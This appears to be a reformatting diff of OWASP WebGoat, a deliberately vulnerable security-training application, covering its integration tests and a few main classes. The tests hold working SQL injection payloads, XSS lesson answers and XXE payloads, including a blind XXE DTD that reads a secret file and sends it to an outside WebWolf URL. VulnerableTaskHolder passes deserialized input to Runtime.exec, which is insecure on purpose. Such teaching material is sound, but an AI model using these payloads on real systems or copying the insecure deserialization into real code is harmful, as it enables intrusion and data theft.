@@ -3,6 +3,7 @@ package org.owasp.webgoat;
 import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;
 
 public class SSRFIntegrationTest extends IntegrationTest {
@@ -15,12 +16,15 @@ public class SSRFIntegrationTest extends IntegrationTest {
         params.clear();
         params.put("url", "images/jerry.png");
         
-    checkAssignment(url("/WebGoat/SSRF/task1"), params, true);
+        checkAssignment(url("/WebGoat/SSRF/task1"),params,true);
         params.clear();
         params.put("url", "http://ifconfig.pro");
         
-    checkAssignment(url("/WebGoat/SSRF/task2"), params, true);
+        checkAssignment(url("/WebGoat/SSRF/task2"),params,true);
         
         checkResults("/SSRF/");
+    
     }
+    
+    
 }

src/it/java/org/owasp/webgoat/SeleniumIntegrationTest.java

@@ -0,0 +1,111 @@
+package org.owasp.webgoat;
+
+import java.util.concurrent.TimeUnit;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.openqa.selenium.By;
+import org.openqa.selenium.WebDriver;
+import org.openqa.selenium.firefox.FirefoxBinary;
+import org.openqa.selenium.firefox.FirefoxDriver;
+import org.openqa.selenium.firefox.FirefoxOptions;
+
+import io.github.bonigarcia.wdm.WebDriverManager;
+import io.github.bonigarcia.wdm.config.DriverManagerType;
+
+public class SeleniumIntegrationTest extends IntegrationTest {
+
+	static {
+		try {
+			WebDriverManager.getInstance(DriverManagerType.FIREFOX).setup();
+		} catch (Exception e) {
+			//sometimes a 403 cause an ExceptionInInitializerError
+		}
+	}
+	private WebDriver driver;
+
+	@BeforeEach
+	public void setUpAndLogin() {
+		try {
+			FirefoxBinary firefoxBinary = new FirefoxBinary();
+			firefoxBinary.addCommandLineOptions("--headless");
+
+			FirefoxOptions firefoxOptions = new FirefoxOptions();
+			firefoxOptions.setBinary(firefoxBinary);
+			driver = new FirefoxDriver(firefoxOptions);
+			driver.get(url("/login"));
+			driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
+			// Login
+			driver.findElement(By.name("username")).sendKeys(this.getUser());
+			driver.findElement(By.name("password")).sendKeys("password");
+			driver.findElement(By.className("btn")).click();
+
+			// Check if user exists. If not, create user.
+			if (driver.getCurrentUrl().equals(url("/login?error"))) {
+				driver.get(url("/registration"));
+				driver.findElement(By.id("username")).sendKeys(this.getUser());
+				driver.findElement(By.id("password")).sendKeys("password");
+				driver.findElement(By.id("matchingPassword")).sendKeys("password");
+				driver.findElement(By.name("agree")).click();
+				driver.findElement(By.className("btn-primary")).click();
+			}
+		} catch (Exception e) {
+			System.err.println("Selenium test failed "+System.getProperty("webdriver.gecko.driver")+", message: "+e.getMessage());
+		}
+
+	}
+
+	@AfterEach
+	public void tearDown() {
+		if (null != driver) {
+			driver.close();
+		}
+	}
+
+	@Test
+	public void sqlInjection() {
+		
+		if (null==driver) return;
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson"));
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/1"));
+		driver.findElement(By.id("restart-lesson-button")).click();
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/0"));
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/1"));
+		driver.findElement(By.name("query")).sendKeys(SqlInjectionLessonIntegrationTest.sql_2);
+		driver.findElement(By.name("query")).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/2"));
+		driver.findElements(By.name("query")).get(1).sendKeys(SqlInjectionLessonIntegrationTest.sql_3);
+		driver.findElements(By.name("query")).get(1).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/3"));
+		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_drop);
+		driver.findElements(By.name("query")).get(2).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/3"));
+		driver.findElements(By.name("query")).get(2).clear();
+		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_add);
+		driver.findElements(By.name("query")).get(2).submit();
+		driver.findElements(By.name("query")).get(2).clear();
+		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_drop);
+		driver.findElements(By.name("query")).get(2).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/4"));
+		driver.findElements(By.name("query")).get(3).sendKeys(SqlInjectionLessonIntegrationTest.sql_5);
+		driver.findElements(By.name("query")).get(3).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/8"));
+		driver.findElement(By.name("account")).sendKeys("Smith'");
+		driver.findElement(By.name("operator")).sendKeys("OR");
+		driver.findElement(By.name("injection")).sendKeys("'1'='1");
+		driver.findElement(By.name("Get Account Info")).click();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/9"));
+		driver.findElement(By.name("userid")).sendKeys(SqlInjectionLessonIntegrationTest.sql_10_userid);
+		driver.findElement(By.name("login_count")).sendKeys(SqlInjectionLessonIntegrationTest.sql_10_login_count);
+		driver.findElements(By.name("Get Account Info")).get(1).click();
+	}
+
+}

src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java

@@ -24,22 +24,24 @@
 package org.owasp.webgoat;
 
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;
 
 /**
+ *
  * @author Angel Olle Blazquez
+ *
  */
+
 class SessionManagementIT extends IntegrationTest {
     
     private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
 
+
     @Test
     void hijackSessionTest() {
         startLesson("HijackSession");
         
-    checkAssignment(
+        checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
-        url(HIJACK_LOGIN_CONTEXT_PATH),
-        Map.of("username", "webgoat", "password", "webgoat"),
-        false);
     }
 }

src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java

@@ -2,6 +2,7 @@ package org.owasp.webgoat;
 
 import java.util.HashMap;
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;
 
 public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
@@ -28,10 +29,7 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
         checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
 
         params.clear();
-    params.put(
+        params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
-        "userid_6a",
-        "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
-            + " user_system_data --");
         checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
 
         params.clear();
@@ -39,21 +37,11 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
         checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
 
         params.clear();
-    params.put(
+        params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
-        "question_0_solution",
-        "Solution 4: A statement has got values instead of a prepared statement");
         params.put("question_1_solution", "Solution 3: ?");
-    params.put(
+        params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
-        "question_2_solution",
+        params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
-        "Solution 2: Prepared statements are compiled once by the database management system"
+        params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
-            + " waiting for input and are pre-compiled this way.");
-    params.put(
-        "question_3_solution",
-        "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
-            + " resulting in a seperation of code and data.");
-    params.put(
-        "question_4_solution",
-        "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
         checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
 
         checkResults("/SqlInjectionAdvanced/");

src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java

@@ -2,13 +2,13 @@ package org.owasp.webgoat;
 
 import java.util.HashMap;
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;
 
 public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
 
     public static final String sql_2 = "select department from employees where last_name='Franco'";
-  public static final String sql_3 =
+    public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
-      "update employees set department='Sales' where last_name='Barnett'";
     public static final String sql_4_drop = "alter table employees drop column phone";
     public static final String sql_4_add = "alter table employees add column phone varchar(20)";
     public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
@@ -22,8 +22,7 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
     public static final String sql_11_b = "3SL99A'  or '1'='1";
 
     public static final String sql_12_a = "Smith";
-  public static final String sql_12_b =
+    public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
-      "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
 
     public static final String sql_13 = "%update% '; drop table access_log ; --'";
 
@@ -74,5 +73,6 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
         checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
 
         checkResults("/SqlInjection/");
+
     }
 }

src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java

@@ -1,13 +1,15 @@
 package org.owasp.webgoat;
 
-import static org.hamcrest.CoreMatchers.containsString;
-
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
+
 import java.util.HashMap;
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;
 
+import static org.hamcrest.CoreMatchers.containsString;
+
 public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
 
     @Test
@@ -25,56 +27,39 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
         params.put("field7", "prep.setString(2,\\\"\\\")");
         checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
 
-    params.put(
+        params.put("editor", "try {\r\n" +
-        "editor",
+                "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
-        "try {\r\n"
+                "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
-            + "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
+                "    prep.setString(1,\"me\");\r\n" +
-            + "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
+                "    prep.execute();\r\n" +
-            + " = ?\");\r\n"
+                "    System.out.println(conn);   //should output 'null'\r\n" +
-            + "    prep.setString(1,\"me\");\r\n"
+                "} catch (Exception e) {\r\n" +
-            + "    prep.execute();\r\n"
+                "    System.out.println(\"Oops. Something went wrong!\");\r\n" +
-            + "    System.out.println(conn);   //should output 'null'\r\n"
+                "}");
-            + "} catch (Exception e) {\r\n"
-            + "    System.out.println(\"Oops. Something went wrong!\");\r\n"
-            + "}");
         checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
 
         params.clear();
-    params.put(
+        params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
-        "userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
         checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
 
         params.clear();
-    params.put(
+        params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
-        "userid_sql_only_input_validation_on_keywords",
-        "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
         checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
 
         RestAssured.given()
-        .when()
+                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
                 .contentType(ContentType.JSON)
-        .get(
+                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
-            url(
-                "/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname"
-                    + " else id end)"))
                 .then()
                 .statusCode(200);
 
         RestAssured.given()
-        .when()
+                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
                 .contentType(ContentType.JSON)
                 .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
                 .then()
                 .statusCode(500)
-        .body(
+                .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
-            "trace",
-            containsString(
-                "select id, hostname, ip, mac, status, description from SERVERS where status <>"
-                    + " 'out of order' order by"));
 
         params.clear();
         params.put("ip", "104.130.219.202");

src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java

@@ -2,46 +2,41 @@ package org.owasp.webgoat;
 
 import static org.junit.jupiter.api.Assertions.assertTrue;
 
-import io.restassured.RestAssured;
 import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;
 
+import io.restassured.RestAssured;
+
 public class WebWolfIntegrationTest extends IntegrationTest {
     
     @Test
     public void runTests() throws IOException {
         startLesson("WebWolfIntroduction");
         
-    // Assignment 3
+        //Assignment 3
         Map<String, Object> params = new HashMap<>();
         params.clear();
-    params.put("email", this.getUser() + "@webgoat.org");
+        params.put("email", this.getUser()+"@webgoat.org");
         checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
         
-    String responseBody =
+        String responseBody = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
                 .get(webWolfUrl("/WebWolf/mail"))
                 .then()
-            .extract()
+                .extract().response().getBody().asString();
-            .response()
-            .getBody()
-            .asString();
         
         String uniqueCode = responseBody.replace("%20", " ");
-    uniqueCode =
+        uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
-        uniqueCode.substring(
-            21 + uniqueCode.lastIndexOf("your unique code is: "),
-            uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
         params.clear();
         params.put("uniqueCode", uniqueCode);
         checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
         
-    // Assignment 4
+        //Assignment 4
         RestAssured.given()
                         .when()
                         .relaxedHTTPSValidation()
@@ -58,22 +53,20 @@ public class WebWolfIntegrationTest extends IntegrationTest {
         .get(webWolfUrl("/landing"))                        
         .then()
         .statusCode(200);
-    responseBody =
+        responseBody = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
                 .get(webWolfUrl("/WebWolf/requests"))
                 .then()
-            .extract()
+                .extract().response().getBody().asString();
-            .response()
-            .getBody()
-            .asString();
         assertTrue(responseBody.contains(uniqueCode));
         params.clear();
         params.put("uniqueCode", uniqueCode);
         checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
         
         checkResults("/WebWolf");
+        
     }
+    
 }

src/it/java/org/owasp/webgoat/XSSIntegrationTest.java

@@ -1,12 +1,15 @@
 package org.owasp.webgoat;
 
 import io.restassured.RestAssured;
+
 import java.util.HashMap;
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;
 
 public class XSSIntegrationTest extends IntegrationTest {
 
+    
     @Test
     public void crossSiteScriptingAssignments() {
         startLesson("CrossSiteScripting");
@@ -44,8 +47,7 @@ public class XSSIntegrationTest extends IntegrationTest {
                         .post(url("/CrossSiteScripting/phone-home-xss"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("output");
-            .path("output");
         String secretNumber = result.substring("phoneHome Response is ".length());
        
         params.clear();
@@ -53,28 +55,14 @@ public class XSSIntegrationTest extends IntegrationTest {
         checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
         
         params.clear();
-    params.put(
+        params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
-        "question_0_solution",
+        params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
-        "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
+        params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
-            + " the browser does not know that the script is malicious.");
+        params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
-    params.put(
+        params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
-        "question_1_solution",
-        "Solution 3: The data is included in dynamic content that is sent to a web user without"
-            + " being validated for malicious content.");
-    params.put(
-        "question_2_solution",
-        "Solution 1: The script is permanently stored on the server and the victim gets the"
-            + " malicious script when requesting information from the server.");
-    params.put(
-        "question_3_solution",
-        "Solution 2: They reflect the injected script off the web server. That occurs when input"
-            + " sent to the web server is part of the request.");
-    params.put(
-        "question_4_solution",
-        "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
-            + " the browser executes.");
         checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
 
         checkResults("/CrossSiteScripting/");
+
     }
 }

src/it/java/org/owasp/webgoat/XXEIntegrationTest.java

@@ -2,30 +2,23 @@ package org.owasp.webgoat;
 
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
+import org.junit.jupiter.api.Test;
+
 import java.io.IOException;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.nio.file.Paths;
-import org.junit.jupiter.api.Test;
 
 public class XXEIntegrationTest extends IntegrationTest {
 
-  private static final String xxe3 =
+    private static final String xxe3 = """
-      """
+            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
-      <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
+    private static final String xxe4 = """
-      """;
+            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
-  private static final String xxe4 =
+    private static final String dtd7 = """
-      """
+            <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
-     <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
+    private static final String xxe7 = """
-     """;
+            <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
-  private static final String dtd7 =
-      """
-      <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
-      """;
-  private static final String xxe7 =
-      """
-      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
-      """;
 
     private String webGoatHomeDirectory;
     private String webWolfFileServerLocation;
@@ -47,11 +40,7 @@ public class XXEIntegrationTest extends IntegrationTest {
                 .statusCode(200);
         checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
         checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
-    checkAssignment(
+        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
-        url("/WebGoat/xxe/blind"),
-        ContentType.XML,
-        "<comment><text>" + getSecret() + "</text></comment>",
-        false);
     }
 
     /**
@@ -61,16 +50,15 @@ public class XXEIntegrationTest extends IntegrationTest {
      * @throws IOException
      */
     private String getSecret() throws IOException {
-    // remove any left over DTD
+        //remove any left over DTD
         Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
         if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
             Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
         }
         String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
-    String dtd7String =
+        String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
-        dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
 
-    // upload DTD
+        //upload DTD
         RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
@@ -78,33 +66,22 @@ public class XXEIntegrationTest extends IntegrationTest {
                 .multiPart("file", "blind.dtd", dtd7String.getBytes())
                 .post(webWolfUrl("/fileupload"))
                 .then()
-        .extract()
+                .extract().response().getBody().asString();
-        .response()
+        //upload attack
-        .getBody()
+        String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
-        .asString();
-    // upload attack
-    String xxe7String =
-        xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
         checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
 
-    // read results from WebWolf
+        //read results from WebWolf
-    String result =
+        String result = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
                 .get(webWolfUrl("/WebWolf/requests"))
                 .then()
-            .extract()
+                .extract().response().getBody().asString();
-            .response()
-            .getBody()
-            .asString();
         result = result.replace("%20", " ");
         if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
-      result =
+            result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
-          result.substring(
-              result.lastIndexOf("WebGoat 8.0 rocks... ("),
-              result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
         }
         return result;
     }
@@ -116,11 +93,7 @@ public class XXEIntegrationTest extends IntegrationTest {
         webWolfFileServerLocation = getWebWolfFileServerLocation();
         checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
         checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
-    checkAssignment(
+        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
-        url("/WebGoat/xxe/blind"),
-        ContentType.XML,
-        "<comment><text>" + getSecret() + "</text></comment>",
-        true);
         checkResults("xxe/");
     }
 }

src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java

@@ -1,15 +1,16 @@
 package org.dummy.insecure.framework;
 
+import lombok.extern.slf4j.Slf4j;
+
 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
 import java.io.ObjectInputStream;
 import java.io.Serializable;
 import java.time.LocalDateTime;
-import lombok.extern.slf4j.Slf4j;
 
 @Slf4j
-// TODO move back to lesson
+//TODO move back to lesson
 public class VulnerableTaskHolder implements Serializable {
 
 	private static final long serialVersionUID = 2;
@@ -27,43 +28,38 @@ public class VulnerableTaskHolder implements Serializable {
 	
 	@Override
 	public String toString() {
-    return "VulnerableTaskHolder [taskName="
+		return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
-        + taskName
+				+ requestedExecutionTime + "]";
-        + ", taskAction="
-        + taskAction
-        + ", requestedExecutionTime="
-        + requestedExecutionTime
-        + "]";
 	}
 
 	/**
 	 * Execute a task when de-serializing a saved or received object.
-   *
 	 * @author stupid develop
 	 */
-  private void readObject(ObjectInputStream stream) throws Exception {
+	private void readObject( ObjectInputStream stream ) throws Exception {
-    // unserialize data so taskName and taskAction are available
+        //unserialize data so taskName and taskAction are available
 		stream.defaultReadObject();
 		
-    // do something with the data
+		//do something with the data
 		log.info("restoring task: {}", taskName);
 		log.info("restoring time: {}", requestedExecutionTime);
 		
-    if (requestedExecutionTime != null
+		if (requestedExecutionTime!=null && 
-        && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
+				(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
 				|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
-      // do nothing is the time is not within 10 minutes after the object has been created
+			//do nothing is the time is not within 10 minutes after the object has been created
 			log.debug(this.toString());
 			throw new IllegalArgumentException("outdated");
 		}
 		
-    // condition is here to prevent you from destroying the goat altogether
+		//condition is here to prevent you from destroying the goat altogether
-    if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
+		if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
 				&& taskAction.length() < 22) {
 		log.info("about to execute: {}", taskAction);
 		try {
             Process p = Runtime.getRuntime().exec(taskAction);
-        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
+            BufferedReader in = new BufferedReader(
+                                new InputStreamReader(p.getInputStream()));
             String line = null;
             while ((line = in.readLine()) != null) {
                 log.info(line);
@@ -72,5 +68,7 @@ public class VulnerableTaskHolder implements Serializable {
             log.error("IO Exception", e);
         }
 		}
+       
     }
+	
 }

src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java

@@ -1,55 +1,55 @@
 /**
  * *************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project
- * please see http://www.owasp.org/
+ * utility. For details, please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * the terms of the GNU General Public License as published by the Free Software
- * License, or (at your option) any later version.
+ * Foundation; either version 2 of the License, or (at your option) any later
- *
+ * version.
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * <p>
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * This program is distributed in the hope that it will be useful, but WITHOUT
- * GNU General Public License for more details.
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- *
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * details.
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * <p>
- * 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with
- *
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * <p>Getting Source ==============
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
  * for free software projects.
  */
+
 package org.owasp.webgoat.container;
 
-import java.io.IOException;
-import javax.servlet.ServletException;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
 import org.springframework.security.core.AuthenticationException;
 import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
 
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
 /**
- * AjaxAuthenticationEntryPoint class.
+ * <p>AjaxAuthenticationEntryPoint class.</p>
  *
  * @author zupzup
  */
+
 public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
     public AjaxAuthenticationEntryPoint(String loginFormUrl) {
         super(loginFormUrl);
     }
 
     @Override
-  public void commence(
+    public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException {
-      HttpServletRequest request,
-      HttpServletResponse response,
-      AuthenticationException authException)
-      throws IOException, ServletException {
         if (request.getHeader("x-requested-with") != null) {
             response.sendError(401, authException.getMessage());
         } else {

src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java

@@ -1,65 +1,65 @@
+
 /**
  * ************************************************************************************************
  * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
  * please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
  * GNU General Public License as published by the Free Software Foundation; either version 2 of the
  * License, or (at your option) any later version.
- *
+ * <p>
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * GNU General Public License for more details.
+ * General Public License for more details.
- *
+ * <p>
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * You should have received a copy of the GNU General Public License along with this program; if
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
- *
+ * <p>
- * <p>Getting Source ==============
+ * Getting Source ==============
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
